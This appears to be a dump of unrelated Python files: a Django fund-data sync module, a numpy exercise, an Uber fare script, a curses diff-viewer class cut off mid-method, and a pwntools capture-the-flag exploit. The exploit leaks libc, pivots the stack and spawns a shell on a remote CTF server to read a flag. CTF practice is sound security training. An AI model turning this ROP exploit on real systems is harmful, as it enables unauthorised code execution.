import datetime

from django.db.models import Max
from django.db import transaction
from dateutil.relativedelta import relativedelta
from math import ceil
from copy import deepcopy

from proc import models
from proc.connector import read_oracle
from proc.templates import fund as template
from proc.util import render_sql

def get_funds():
    """获取基金列表，用于外键关联

    Returns:
        {'000001.OF': Funds <000001.OF>, ...)}
    """
    funds = models.FundNew.objects.all()
    funds = {x.secucode: x for x in funds}
    return funds

def get_funds_new():
    """获取基金列表，用于外键关联

    Returns:
        {'000001': Funds <000001>, ...)}
    """
    funds = models.FundNew.objects.all()
    funds = {x.secucode: x for x in funds}
    return funds

def chunk(array, size=1):
    chunks = int(ceil(len(array) / float(size)))
    return [array[i * size:(i + 1) * size] for i in range(chunks)]

def get_fund_update_by_dates(model):
    """按照日期分组基金更新时间"""
    funds = get_funds()
    fund_codes = list(funds.keys())
    last = model.objects.values('secucode').annotate(mdate=Max('date'))
    last = {x['secucode']: x['mdate'] for x in last}
    last = {x: last.get(x, datetime.date(1990, 1, 1)) for x in fund_codes}

    dates = sorted(list({x for x in last.values()}))

    group = {x: [] for x in dates}

    for code, date in last.items():
        group[date].append(code[:6])
    return group

def change_date_to_friday(date: datetime.date):
    weekday = date.weekday()
    delta = 4 - weekday
    new_date = date + datetime.timedelta(days=delta)
    return new_date

def replace_fund(data):
    """将str类型的windcode替换为Fund类型"""
    funds = get_funds()
    data['secucode'] = data['secucode'].apply(lambda x: funds.get(x))
    data = data[data.secucode.notnull()]
    return data

def simple_sql_executor(sql: str, model):
    """一个简单的sql执行器
    针对可以直接运行sql语句即可同步数据的同步语句
    """
    data = read_oracle(sql)
    data = replace_fund(data)
    data = data.where(data.notnull(), None)
    data = data.fillna(0)
    data = data.to_dict(orient='records')
    ret = []
    for d in data:
        m = model(**d)
        ret.append(m)
    model.objects.bulk_create(ret)

def commit_fund_manager_mapping():
    """同步基金对应基金经理

    由于数据刷新频率很低，仅在月末更新
    """
    data = read_oracle(template.fund_manager)
    data = replace_fund(data)
    models.FundManager.objects.all().delete()
    data = data.fillna(0)
    data = data.to_dict(orient='records')
    data = [models.FundManager(**x) for x in data]
    models.FundManager.objects.bulk_create(data)

def commit_normal_fund_hold_stock_once():
    """初次同步基金重仓股数据，请手动运行此函数，不要放入任务队列"""
    simple_sql_executor(template.normal_holding_stock_once, models.FundHoldingKeyStock)
    simple_sql_executor(template.qdii_holding_stock_once, models.FundHoldingKeyStock)
    simple_sql_executor(template.fund_allocate_once, models.Asset)

def commit_fund_key_holding():
    """更新基金最新持仓，包含普通基金和QDII基金，包含港股"""
    data = read_oracle(template.latest_holding_stock)

    # 本地已更新到的日期
    local = models.FundHoldingKeyStock.objects.values('windcode').annotate(mdate=Max('date'))
    local = {x['windcode']: x['mdate'] for x in local}

    data['need'] = data.agg(
        lambda x: 1 if x.date < local.get(x.windcode, datetime.date.today()) else 2, axis=1)
    data = data[data['need'] == 1]
    if data.empty:
        return
    data = data.drop(['need'], axis=1)
    data = replace_fund(data)

    ret = []
    data = data[data.stockname.notnull()]
    data = data.fillna(0)
    for _, r in data.iterrows():
        ret.append(models.FundHoldingKeyStock(**r))
    models.FundHoldingKeyStock.objects.bulk_create(ret)

def _commit_fund_nav(sql, model):
    """更新基金净值"""
    group = get_fund_update_by_dates(model)

    for date, f in group.items():
        print(date)
        if not f:
            continue
        fs = chunk(f, 999)
        for fs_ in fs:
            ret = []
            fs_ = "'" + "','".join(fs_) + "'"
            sql_ = render_sql(sql, {'<codes>': fs_, '<date>': date.strftime('%Y-%m-%d')})
            data = read_oracle(sql_)
            data = data.sort_values(['windcode', 'date'])
            data = replace_fund(data)
            if model is models.FundNav:
                data['revised_date'] = data['date'].apply(change_date_to_friday)
            data = data[data['windcode'].notnull()]
            data = data.where(data.notnull(), None)
            for _, r in data.iterrows():
                ret.append(model(**r))
            yield ret

def commit_fund_nav():
    """更新表t_ff_fund_nav"""
    for ret in _commit_fund_nav(template.fund_nav, models.FundNav):
        if ret:
            models.FundNav.objects.bulk_create(ret)

def commit_fund_nav_all():
    """更新表t_ff_fund_nav_all"""
    for ret in _commit_fund_nav(template.fund_nav_all, models.FundNavAll):
        if ret:
            models.FundNavAll.objects.bulk_create(ret)

def _commit_fund_allocate(sql, model):
    """更新基金持有资产配置-包含股票、债券、行业"""
    group = get_fund_update_by_dates(model)

    industry = {
        'A': '农业', 'B': '采矿', 'C': '制造', 'D': '供应', 'E': '建筑', 'F': '批零', 'G': '交运',
        'H': '住餐', 'I': '信息', 'J': '金融', 'K': '地产', 'L': '租赁', 'M': '科研', 'N': '水利',
        'O': '居服', 'P': '教育', 'Q': '卫生', 'R': '文化', 'S': '综合'
    }

    for date, f in group.items():
        print(date)
        if not f:
            continue
        fs = chunk(f, 999)
        for fs_ in fs:
            ret = []
            fs_ = "'" + "','".join(fs_) + "'"
            sql_ = render_sql(sql, {'<codes>': fs_, '<date>': date.strftime('%Y-%m-%d')})
            data = read_oracle(sql_)
            if 'ratio' in data.columns:
                data['ratio'] = data['ratio'].fillna(0)
            data = data.sort_values(['secucode', 'date'])
            data = replace_fund(data)
            data = data[data['secucode'].notnull()]
            data = data.fillna(0)
            if model is models.AssetIndustry:
                data['industry'] = data['industry'].apply(lambda x: industry.get(x, '其他'))
            for _, r in data.iterrows():
                ret.append(model(**r))

            model.objects.bulk_create(ret)

def commit_fund_industry():
    """更新基金持有行业配置"""
    _commit_fund_allocate(template.latest_holding_industry, models.AssetIndustry)

def commit_fund_bond():
    """更新基金持有债券"""
    _commit_fund_allocate(template.latest_holding_bond, models.BondHolding)

def commit_asset():
    """更新基金持仓-资产配置"""
    if models.Asset.objects.count() == 0:
        _commit_asset_once()
        return
    funds = get_funds_new()

    last = models.Asset.objects.values('secucode').annotate(mdate=Max('date'))
    last = {x['secucode']: x['mdate'] for x in last}
    last = {x: last.get(x, datetime.date(1990, 1, 1)) for x in funds}
    data = read_oracle(template.fund_allocate)
    data.secucode = data.secucode.str.slice(0, 6)
    data = data[data['secucode'].isin(funds.keys())]
    data['need'] = data.agg(lambda x: 1 if x.date > last.get(x.secucode) else 0, axis=1)
    data = data[data['need'] == 1]
    data = data.drop('need', axis=1)
    data = data.fillna(0)
    data['secucode'] = data['secucode'].apply(lambda x: funds.get(x))

    ret = []
    for _, r in data.iterrows():
        ret.append(models.Asset(**r))

    models.Asset.objects.bulk_create(ret)

def _commit_asset_once():
    """初次全量导入资产配置数据"""
    data = read_oracle(template.fund_allocate_once)
    fund = get_funds_new()
    data.secucode = data.secucode.str.slice(0, 6)
    data['secucode'] = data['secucode'].apply(lambda x: fund.get(x))
    data = data[data['secucode'].notnull()]
    data = data.fillna(0)
    ret = [models.Asset(**x) for _, x in data.iterrows()]
    models.Asset.objects.bulk_create(ret)

@transaction.atomic
def commit_fund_main_code():
    """同步基金的主基金代码，同时同步基金代码
    部分基金可能运作结束清盘，这部分基金需要删除
    """
    maincode = read_oracle(template.fund_main_code)
    if maincode.empty:
        return

    # t_ff_funds
    local_funds = get_funds()
    need_delete = [y for x, y in local_funds.items() if x not in list(maincode.windcode)]
    need_add = [
        models.Fund(
            windcode=x.windcode, category=1
        ) for _, x in maincode.iterrows() if x.windcode not in local_funds
    ]

    for delete in need_delete:
        delete.delete()

    # 这一步特别慢
    models.Fund.objects.bulk_create(need_add)

    # t_ff_maincode
    funds_code = get_funds()
    local_funds = models.MainCode.objects.all()
    local_funds_code = [x.windcode for x in local_funds]
    need_delete = [x for x in local_funds if x.windcode.windcode not in list(maincode.windcode)]
    maincode.windcode = maincode.windcode.apply(lambda x: funds_code.get(x))
    maincode = maincode[maincode.windcode.notnull()]
    need_add = [models.MainCode(**x) for _, x in maincode.iterrows() if x.windcode not in local_funds_code]

    for delete in need_delete:
        delete.delete()

    models.MainCode.objects.bulk_create(need_add)

def commit_fund_net_asset():
    """同步基金资产净值"""
    _commit_fund_allocate(template.fund_net_asset, models.FundScale)

def commit_fund_new():
    """改造后需要继续同步的表单"""
    commit_asset()
    commit_fund_bond()
    commit_fund_industry()

if __name__ == '__main__':
    # commit_fund_main_code()
    # commit_fund_nav_all()
    # commit_fund_nav()
    commit_fund_bond()


# Default Imports
import numpy as np

# Enter solution here
def create_3d_array():
    n1 = np.zeros((3,3,3))
    N = n1.size
    anum = np.arange(N)
    array3d = anum.reshape((3,3,3))
    return array3d


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import re

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./rw.elf')

if exe.bits == 32:
    lindbg = "/root/linux_server"
else:
    lindbg = "/root/linux_server64"

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '109.233.56.90'
port = int(args.PORT or 11641)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.EDB:
        return process(['edb', '--run', exe.path] + argv, *a, **kw)
    elif args.QIRA:
        return process(['qira', exe.path] + argv, *a, **kw)
    elif args.IDA:
        return process([lindbg], *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX disabled
# PIE:      No PIE (0x400000)
# RWX:      Has RWX segments

io = start()

libc = ELF("libc.so.6_1ec728d58f7fc0d302119e9bb53050f8")
# libc = ELF("../my_libc.so")
write_got = exe.got['write']
write_plt = exe.plt['write']
read_got = exe.got['read']
read_plt = exe.plt['read']
# system_libc = libc.sym['system']
write_libc = libc.sym['write']
bin_sh_str = 0x1b75aa

# system_offset = write_got - system_got

ext_mem_addr = 0x404068
ext_mem_addr1 = 0x404068+64

main_addr = 0x40115B
POP_RDI = 0x40123b
RET  = 0x4010A0
POP_RSI_R15 = 0x401239
POP_RSI = 0x401156
POP_RSP = 0x401154
POP_RDX = 0x401152
csu_start_addr = 0x401218
csu_start_addr_without_mov_edi = 0x401221
csu_end_addr = 0x401232

one_gadget = 0xe6e79

# how to leak libc:
#   pl += csu(0, 1, 1, write_got, 8, write_got)
io.recvuntil("Hi")
# ROP 1
pl = cyclic(24)
pl += p64(POP_RSI)
pl += p64(ext_mem_addr)
pl += p64(read_plt)
pl += p64(POP_RSP)
pl += p64(ext_mem_addr)

payload_len = len(pl)
# log.info(f"ROP1 len = {payload_len}")
io.send(pl.ljust(64, b"\x00"))

ext_mem_addr += payload_len

# ROP 2

pl = p64(POP_RSI)
pl += p64(ext_mem_addr)
pl += p64(POP_RDX)
pl += p64(144)
pl += p64(read_plt)
pl += p64(POP_RSP)
pl += p64(ext_mem_addr)

payload_len = len(pl)
# log.info(f"ROP2 len = {payload_len}")
io.send(pl.ljust(64, b"\x00"))
ext_mem_addr += payload_len

#ROP 3

pl = p64(RET)
# pl += p64(csu_end_addr) + p64(0) + p64(1) + p64(1) + p64(write_got) + p64(8) + p64(write_got)
# pl += p64(csu_start_addr) + p64(0) + p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(write_got)
pl += p64(POP_RDX)
pl += p64(8)
pl += p64(POP_RSI)
pl += p64(write_got)
pl += p64(POP_RDI)
pl += p64(1)
pl += p64(write_plt)
pl += p64(POP_RDI)
pl += p64(0)
pl += p64(POP_RSI)
pl += p64(ext_mem_addr1)
pl += p64(POP_RDX)
pl += p64(64)
pl += p64(read_plt)
pl += p64(POP_RSP)
pl += p64(ext_mem_addr1)
# log.info(f"ROP3 len = {len(pl)}")
io.sendline(pl.ljust(143, b"\x00"))

write_libc_leak = u64(io.recv()[0:8])
LIBC_base = write_libc_leak - write_libc
libc.address = LIBC_base
log.info(f"LIBC_base: {hex(LIBC_base)}")

#ROP 4

pl = p64(RET)
pl += p64(POP_RSI)
pl += p64(0)
pl += p64(POP_RDX)
pl += p64(0)
pl += p64(POP_RDI)
pl += p64(LIBC_base + bin_sh_str)
pl += p64(libc.sym["execve"])

io.sendline(pl.ljust(63, b"\x00"))

io.sendline("cat flag")
io.recvuntil("spbctf")
flag = io.recvuntil("}").decode()
log.success(f"Flag: spbctf{flag}")

# io.interactive()

io.close()


#Uber Billing
starting=int(input("enter starting kilometer"))
end=int(input("enter ending kilometer"))
ride_type=int(input("Select the destination :\n Enter '1' for micro \n Enter '2' for mini \n Enter '3' for prime \n Enter '4' for suv\n"))

total=int(end-starting)

dic={1:1.5,2:2.5,3:3.5,4:4.5}

x= lambda ride_type,total: float(dic.get(ride_type)) * total

print(x(ride_type,total))


# View.py

import Match3
import Model
import os

# This class takes the data from the model and renders it to the
# canvas. It knows nothing about the libraries that get the actual
# drawing done. It keeps track of where in the data we should be
# grabbing data to draw and keeps track of things like the cursor. It
# has no control capability.

NORMAL_DIR_ARROW = 1
NORMAL_FILENAME = 2
NORMAL_COUNT = 3
NORMAL_VERTICAL_SEP = 4
NORMAL_HIDDEN = 5

NORMAL_DIR_ARROW_H = 6
NORMAL_FILENAME_H = 7
NORMAL_COUNT_H = 8
NORMAL_VERTICAL_SEP_H = 9
NORMAL_HIDDEN_H = 10

CHANGED_DIR_ARROW = 11
CHANGED_FILENAME = 12
CHANGED_COUNT = 13
CHANGED_VERTICAL_SEP = 14
CHANGED_HIDDEN = 15

CHANGED_DIR_ARROW_H = 16
CHANGED_FILENAME_H = 17
CHANGED_COUNT_H = 18
CHANGED_VERTICAL_SEP_H = 19
CHANGED_HIDDEN_H = 20

INSERTED_DIR_ARROW = 21
INSERTED_FILENAME = 22
INSERTED_COUNT = 23
INSERTED_VERTICAL_SEP = 24
INSERTED_HIDDEN = 25

INSERTED_DIR_ARROW_H = 26
INSERTED_FILENAME_H = 27
INSERTED_COUNT_H = 28
INSERTED_VERTICAL_SEP_H = 29
INSERTED_HIDDEN_H = 30

REMOVED_DIR_ARROW = 31
REMOVED_FILENAME = 32
REMOVED_COUNT = 33
REMOVED_VERTICAL_SEP = 34
REMOVED_HIDDEN = 35

REMOVED_DIR_ARROW_H = 36
REMOVED_FILENAME_H = 37
REMOVED_COUNT_H = 38
REMOVED_VERTICAL_SEP_H = 39
REMOVED_HIDDEN_H = 40

ABSENT = 41
ABSENT_H = 42
UNCOMPARED = 43
UNCOMPARED_H = 44
ERROR = 45
ERROR_H = 46
SELECTED = 47
SELECTED_H = 48

# Maybe make MARKER_MERGED and MARKER_RESOLVED the same?
MARKER_OK = 49
MARKER_MERGED = 50
MARKER_RESOLVED = 51
MARKER_CONFLICT = 52

TOP_LINE = 53
TOP_VERTICAL_SEP = 54

# Maybe make STATUS_1 and TOP the same?
STATUS_1 = 55
STATUS_2 = 56
STATUS_3 = 57
STATUS_4 = 58

PROMPT_1 = 59
PROMPT_2 = 60
PROMPT_3 = 61
PROMPT_4 = 62

highlight = {
    NORMAL_FILENAME:    NORMAL_FILENAME_H,
    NORMAL_HIDDEN:      NORMAL_HIDDEN_H,

    CHANGED_FILENAME:   CHANGED_FILENAME_H,
    CHANGED_HIDDEN:     CHANGED_HIDDEN_H,

    INSERTED_FILENAME:  INSERTED_FILENAME_H,
    INSERTED_HIDDEN:    INSERTED_HIDDEN_H,

    REMOVED_FILENAME:   REMOVED_FILENAME_H,
    REMOVED_HIDDEN:     REMOVED_HIDDEN_H,

    ABSENT:             ABSENT_H,
    UNCOMPARED:         UNCOMPARED_H,
    ERROR:              ERROR_H,
    SELECTED:           SELECTED_H,
}

normal_color_list = (NORMAL_DIR_ARROW, NORMAL_FILENAME, NORMAL_COUNT,
                     NORMAL_VERTICAL_SEP, NORMAL_HIDDEN)
changed_color_list = (CHANGED_DIR_ARROW, CHANGED_FILENAME, CHANGED_COUNT,
                      CHANGED_VERTICAL_SEP, CHANGED_HIDDEN)
inserted_color_list = (INSERTED_DIR_ARROW, INSERTED_FILENAME, INSERTED_COUNT,
                       INSERTED_VERTICAL_SEP, INSERTED_HIDDEN)
removed_color_list = (REMOVED_DIR_ARROW, REMOVED_FILENAME, REMOVED_COUNT,
                      REMOVED_VERTICAL_SEP, REMOVED_HIDDEN)

normal_h_color_list = (NORMAL_DIR_ARROW_H, NORMAL_FILENAME_H, NORMAL_COUNT_H,
                       NORMAL_VERTICAL_SEP_H, NORMAL_HIDDEN_H)
changed_h_color_list = (CHANGED_DIR_ARROW_H, CHANGED_FILENAME_H,
                        CHANGED_COUNT_H, CHANGED_VERTICAL_SEP_H,
                        CHANGED_HIDDEN_H)
inserted_h_color_list = (INSERTED_DIR_ARROW_H, INSERTED_FILENAME_H,
                         INSERTED_COUNT_H, INSERTED_VERTICAL_SEP_H,
                         INSERTED_HIDDEN_H)
removed_h_color_list = (REMOVED_DIR_ARROW_H, REMOVED_FILENAME_H,
                        REMOVED_COUNT_H, REMOVED_VERTICAL_SEP_H,
                        REMOVED_HIDDEN_H)

normal_hidden_color_list = [NORMAL_HIDDEN] * 5
normal_hidden_h_color_list = [NORMAL_HIDDEN_H] * 5

changed_hidden_color_list = [CHANGED_HIDDEN] * 5
changed_hidden_h_color_list = [CHANGED_HIDDEN_H] * 5

inserted_hidden_color_list = [INSERTED_HIDDEN] * 5
inserted_hidden_h_color_list = [INSERTED_HIDDEN_H] * 5

removed_hidden_color_list = [REMOVED_HIDDEN] * 5
removed_hidden_h_color_list = [REMOVED_HIDDEN_H] * 5

uncompared_color_list = [UNCOMPARED] * 5
uncompared_h_color_list = [UNCOMPARED_H] * 5

error_color_list = [ERROR] * 5
error_h_color_list = [ERROR_H] * 5

#####

LEFT = 0
MIDDLE = 1
RIGHT = 2

TREE_SYMBOL_CLOSED = 0
TREE_SYMBOL_OPEN = 1
ascii_tree_symbols = ("+", "-")
unicode_tree_symbols = ("\u25B6", "\u25BC")  # right arrow, down arrow

#######################################

class View:

    def __init__(self, canvas, model, settings):

        self.settings = settings

        self.canvas = canvas
        canvas.set_view(self)

        self.__recalculate_sizes()

        self.model = model
        self.cursor = 1
        self.last_displayed_item_row = self.cursor
        self.current = []  # current is at [0], top is at length-1
        self.top = None
        self.spinner = 1
        self.prompt = ''
        self.render_hidden = False

        if self.settings.get_value('ascii'):
            self.tree_symbols = ascii_tree_symbols
        else:
            self.tree_symbols = unicode_tree_symbols

        self.__init_color_pairs()

    def __init_a_color_pair(self, index, fg_name, bg_name):
        fg_number = int(self.settings.get_value(fg_name))
        bg_number = int(self.settings.get_value(bg_name))
        self.canvas.init_color_pair(index, fg_number, bg_number)

    def destroy(self):
        pass

    def current_item(self):
        assert(len(self.current) > 0)
        return self.current[0]

    def reset_cursor_after_delete(self):
        # print('reset_cursor_after_delete()')
        if self.cursor == 1:
            self.__reset_top()
            self.canvas.set_full_refresh()
        else:
            if self.__next_display_line(self.current) is None:
                self.cursor -= 1

    def __reset_top(self):
        # print('reset_top()')
        current = self.top

        # fixme: can len(current) ever be zero?
        # while current is not None and current[0].IsHidden():
        while (current is not None
               and not self.__should_render_item(current[0])):
            current = self.__next_display_line_aux(current)
            # print('path=', current)

        if current is None:
            # scroll up one page
            self.scroll(-self.rows)  # fixme: should be # of items

            # fixme: should be last valid item
            self.cursor = self.last_item_row
        else:
            # Effectively make the next undeleted item the top one
            self.top = current

    def toggle_collapse(self):
        self.current_item().toggle_collapse()

    def __can_scroll_down(self):
        # fixme: not entirely correct
        return self.last_displayed_item_row == self.last_item_row

    # fixme: why does this always return True?
    def __can_scroll_up(self):
        return True

    def scroll(self, number_of_lines):
        # print("\nself.last_displayed_item_row:",
        #       self.last_displayed_item_row)
        # print("self.rows:", self.rows)
        # print("last_item_on_screen:", self.last_displayed_item_row)

        if number_of_lines > 0:
            if not self.__can_scroll_down():
                return

            self.canvas.set_full_refresh()
            i = 0
            while i < number_of_lines:
                # This works well to prevent crashes, but if you
                # page down and the last line is half-way up the
                # screen, it will make the last line "top." It might
                # be nice to execute the loop before setting top, and
                # not change top if we can't scroll a whole page. I'll
                # live with this awhile and see which I like better.
                next = self.__next_display_line(self.top)
                if next is not None:
                    self.top = next
                i += 1
            # print('self.cursor:', self.cursor)
            # print('self.last_displayed_item_row:',
            #       self.last_displayed_item_row)
            # fixme: this doesn't work here. This used to work, and I
            # broke it.
            if self.cursor > self.last_displayed_item_row:
                self.cursor = self.last_displayed_item_row
        else:
            if not self.__can_scroll_up():
                return

            self.canvas.set_full_refresh()
            number_of_lines = -number_of_lines
            i = 0
            while i < number_of_lines:
                prev = self.__prev_display_line(self.top)
                if prev is not None:
                    self.top = prev
                i += 1

    def cursor_up(self):
        if self.__prev_display_line(self.current) is not None:
            if self.cursor > 1:
                self.cursor -= 1
            else:
                self.scroll(-1)
        else:
            # fixme: Flash the console here.
            # print('\a')
            pass

    def cursor_down(self):
        if self.__next_display_line(self.current) is not None:
            if self.cursor < self.last_displayed_item_row:
                self.cursor += 1
            else:
                self.scroll(1)
        else:
            # fixme: Flash the console here.
            # print('\a')
            pass

    def render(self):

        self.__render_items()
        self.__render_roots_line()
        self.__render_status_line()
        self.__render_command_line()

        self.canvas.refresh()

    def __render_roots_line(self):
        # Render the top line here with the model.top directories
        # on it. In order to get this right, I'll have to clean up
        # things to compute the rest of the lines right if I start on
        # row 1 rather than row 0.
        left = self.model.top.left
        if len(left) > self.left_item_width:
            left = left[:self.left_item_width]
        elif len(left) < self.left_item_width:
            left += ' ' * (self.left_item_width - len(left))

        middle = self.model.top.middle
        if len(middle) > self.middle_item_width:
            middle = middle[:self.middle_item_width]
        elif len(middle) < self.middle_item_width:
            middle += ' ' * (self.middle_item_width - len(middle))

        right = self.model.top.right
        if len(right) > self.right_item_width:
            right = right[:self.right_item_width]
        elif len(right) < self.right_item_width:
            right += ' ' * (self.right_item_width - len(right))

        col = 0
        self.canvas.draw_text(0, col, left, TOP_LINE)
        col += len(left)

        self.canvas.draw_text(0, col, '|', TOP_VERTICAL_SEP)
        col += 1

        self.canvas.draw_text(0, col, middle, TOP_LINE)
        col += len(middle)

        self.canvas.draw_text(0, col, '|', TOP_VERTICAL_SEP)
        col += 1

        self.canvas.draw_text(0, col, right, TOP_LINE)
        col += len(right)

    def __render_status_line(self):
        test_string = " " * self.cols

        # print('view.cols=', self.cols)
        amount_over = len(test_string) - self.cols
        # print('amount_over=', amount_over)
        if amount_over > 0:
            test_string = test_string[:-amount_over]

        # print('final length=', len(test_string))
        self.canvas.draw_text(self.status_row, 0, test_string, STATUS_1)

        spinner = ' |/-\\'
        if self.model.state() == Model.STATE_NORMAL:
            self.spinner = 0
        else:
            self.spinner += 1
            if self.spinner == 5:  # len(spinner)
                self.spinner = 1
            self.canvas.draw_text(self.status_row, 50, spinner[self.spinner],
                                  STATUS_2)

    def __render_command_line(self):
        # Curses cannot display in the last character of the last
        # line, so shorten it by amount_over + 1.

        test_string = ' ' * self.cols

        # print('view.cols=', self.cols)
        amount_over = len(test_string) - (self.cols - 1)
        # print('amount_over=', amount_over)
        if amount_over > 0:
            test_string = test_string[:-amount_over]

        # print('final length=', len(test_string))

        self.canvas.draw_text(self.command_row, 0, test_string, PROMPT_1)
        if self.model.state() == Model.STATE_ENUMERATING:
            self.canvas.draw_text(self.command_row, 0,
                                  'Enumerating directories and files...',
                                  PROMPT_1)
        else:
            self.canvas.draw_text(self.command_row, 0, self.prompt,
                                  PROMPT_1)

    def __render_items(self):
        # print('\nIn View.render()')
        if self.model.state() == Model.STATE_ENUMERATING:
            self.canvas.clear()
        else:
            with self.model.lock():
                # print('start of render')
                self.canvas.clear()

                if self.top is None:
                    self.top = [self.model.top.children[0], self.model.top]

                row = 1
                current = self.top

                # print('rows=', self.rows)
                # print('cols=', self.cols)
                while row <= self.last_item_row:
                    if row == self.cursor:
                        self.current = current
                    self.__render_path_item(row, current)
                    self.last_displayed_item_row = row
                    row += 1
                    current = self.__next_display_line(current)
                    # print('current=', current.left)
                    if current is None:
                        break

                while row <= self.last_item_row:
                    self.__render_empty_item(row)
                    row += 1
                # print('end of render')

    def resize(self):
        # print('\nResizing...')
        self.canvas.resize()
        self.__recalculate_sizes()
        self.canvas.set_full_refresh()

    def __recalculate_sizes(self):
        # Now recompute the locations of various things.
        self.rows = self.canvas.rows
        self.cols = self.canvas.cols

        # print('  new rows=', self.rows)
        # print('  new cols=', self.cols)

        # fixme: If there are less than four rows, don't render and just
        # print an error that the display is too small.
        self.roots_row = 0
        self.first_item_row = 0  # fixme: make this = 1
        self.last_item_row = self.rows - 3
        self.status_row = self.rows - 2
        self.command_row = self.rows - 1

        # We use self.cols - 1 since there is a vertical bar in the middle.
        self.left_item_width = (self.cols - 2) // 3
        self.middle_item_width = self.left_item_width
        self.right_item_width = self.left_item_width
        if (self.cols - 2) % 3 == 1:
            self.left_item_width += 1
        elif (self.cols - 2) % 3 == 2:
            self.left_item_width += 1
            self.middle_item_width += 1
        assert(self.left_item_width + self.middle_item_width
               + self.right_item_width + 2 == self.cols)
        # print('left_item_width =', self.left_item_width)
        # print('middle_item_width =', self.left_item_width)
        # print('right_item_width=', self.right_item_width)

    def __render_merge_item_status(self, row, col, item):
        status = item.resolution_status
        if status == ' ' or status == 'a' or status == 'b':
            color = MARKER_OK
        elif status == 'm':
            color = MARKER_MERGED
        elif status == 'r':
            color = MARKER_RESOLVED
        elif status == 'c':
            color = MARKER_CONFLICT
        else:
            assert(False)

        self.__render_line(row, col,
                           item.resolution_status, color)

        return col + 1

    def __render_path_item(self, row, path_item):
        indention = 4 * (len(path_item) - 2)
        item = path_item[0]

        colors = self.__fixed_compute_colors(row == self.cursor, item)

        col = 0

        if True:  # self.model.merge_done:
            col += self.__render_merge_item_status(row, col, item)

        col += self.__render_partial_path_item(row, col, item, LEFT,
                                               indention, colors[0],
                                               colors[5])

        self.__render_line(row, col, '|', colors[1])
        col += 1

        col += self.__render_partial_path_item(row, col, item, MIDDLE,
                                               indention, colors[2],
                                               colors[5])

        self.__render_line(row, col, '|', colors[3])
        col += 1

        col += self.__render_partial_path_item(row, col, item, RIGHT,
                                               indention, colors[4],
                                               colors[5])

#         col = 0
#         self.__render_line(row, col, item.resolution_status,
#               self.__resolution_status_to_color_pair(item.resolution_status))
#         col += 1

#         self.__render_line(row, col, left_name[:-1], colors[0])
#         col += len(left_name) - 1

#         self.__render_line(row, col, '|', lm_bar_color)
#         col += 1

#         self.__render_line(row, col, middle_name, colors[1])
#         col += len(middle_name)

#         self.__render_line(row, col, '|', mr_bar_color)
#         col += 1

#         self.__render_line(row, col, right_name, colors[2])

    ##############################
    #
#     def __create_partial_path_item(self,
#                                     path,
#                                     indention,
#                                     collapse,
#                                     num_diffs,
#                                     desired_size):
#         if path == None:
#             result = " " * desired_size
#         else:
#             result = " " * indention

#             if os.path.isdir(path):
#                 if collapse:
#                     result += '\u25B6 ' #'- '
#                 else:
#                     result += '\u25BC ' #'o '
#             else:
#                 result += '  '

#             result += os.path.basename(path)
#             #if not os.path.isdir(path):
#             if num_diffs is not None:
#                 result += "---" + str(num_diffs)
#             if len(result) < desired_size:
#                 result += " " * (desired_size - len(result))
#             elif len(result) > desired_size:
#                 result = result[:-(len(result) - desired_size)]

#         return result

    ##############################
    #
    def __render_partial_path_item(self,
                                   row,
                                   col,
                                   item,
                                   lmr,
                                   indention,
                                   color,
                                   selection_color):
        # orig_col = col

        if lmr == LEFT:
            name = item.left
            num_diffs = item.lm_num_diffs
            desired_size = self.left_item_width
            if True:  # self.model.merge_done:
                desired_size -= 1
        elif lmr == MIDDLE:
            name = item.middle
            num_diffs = item.mr_num_diffs
            desired_size = self.middle_item_width
        else:
            name = item.right
            num_diffs = item.lr_num_diffs
            desired_size = self.right_item_width
        # orig_desired_size = desired_size

        if name is None:
            self.__render_line(row, col, ' ' * desired_size, color)
            return desired_size
        else:
            # indention, arrow, name, postname_space, count, postcount_space]
            format_list = [' '] * 6

            # first_part = ''
            # second_part = ''

            # indention_part = ' ' * indention
            format_list[0] = ' ' * indention

            if os.path.isdir(name):
                if item.collapse:
                    collapse_part = self.tree_symbols[TREE_SYMBOL_CLOSED] + " "
                else:
                    collapse_part = self.tree_symbols[TREE_SYMBOL_OPEN] + " "
            else:
                collapse_part = "  "
            format_list[1] = collapse_part

            # name_part = os.path.basename(name)
            format_list[2] = os.path.basename(name)

            if num_diffs is not None:
                # count_part = '---' + str(num_diffs)
                if num_diffs == 0:
                    count_part = '='
                else:
                    count_part = str(num_diffs)
            else:
                count_part = ''
            format_list[4] = count_part

            format_list = self.__reformat_partial_item(desired_size,
                                                       format_list)
            return self.__render_format_list(row, col, format_list, color,
                                             item.selected, selection_color)

    ##############################
    #
    def __render_format_list(self, row, col, format_list, color, selected,
                             selection_color):
        if color == NORMAL_FILENAME:  # fixme: make categories
            colors = normal_color_list
        elif color == CHANGED_FILENAME:
            colors = changed_color_list
        elif color == INSERTED_FILENAME:
            colors = inserted_color_list
        elif color == REMOVED_FILENAME:
            colors = removed_color_list
        elif color == UNCOMPARED:
            colors = uncompared_color_list
        elif color == ERROR:
            colors = error_color_list
        elif color == NORMAL_FILENAME_H:
            colors = normal_h_color_list
        elif color == CHANGED_FILENAME_H:
            colors = changed_h_color_list
        elif color == INSERTED_FILENAME_H:
            colors = inserted_h_color_list
        elif color == REMOVED_FILENAME_H:
            colors = removed_h_color_list
        elif color == UNCOMPARED_H:
            colors = uncompared_h_color_list
